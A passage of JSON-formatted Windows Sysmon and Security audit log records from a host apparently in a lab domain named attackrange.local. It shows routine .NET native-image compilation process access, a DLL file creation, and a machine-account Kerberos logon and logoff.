C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:05.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42BD-5F2D-0000-0010966B0D00}","TargetProcessId":"876","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7415,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:09.260\r\nProcessGuid: {90617006-42BD-5F2D-0000-0010966B0D00}\r\nProcessId: 876\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\36c-0\\ReachFramework.dll\r\nCreationUtcTime: 2020-08-07 12:02:09.260","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:09.260","ProcessGuid":"{90617006-42BD-5F2D-0000-0010966B0D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\36c-0\\ReachFramework.dll","CreationUtcTime":"2020-08-07 12:02:09.260","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222284,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0xD71D6\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0xd71d6","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222285,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0xD71D6\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t51545\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0xd71d6","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"51545","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222286,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0xD71D6\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0xd71d6","LogonType":"3","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7416,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:09.369\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00104AE50A00}\r\nTargetProcessId: 3968\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:09.369","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00104AE50A00}","TargetProcessId":"3968","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7417,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:09.369\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00104AE50A00}\r\nTargetProcessId: 3968\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:09.369","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00104AE50A00}","TargetProcessId":"3968","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7418,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:09.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42C1-5F2D-0000-00108D720D00}\r\nTargetProcessId: 3968\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:09.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42C1-5F2D-0000-00108D720D00}","TargetProcessId":"3968","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7419,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:09.541\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010E5E10A00}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:09.541","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010E5E10A00}","TargetProcessId":"4712","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7420,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:09.541\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010E5E10A00}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 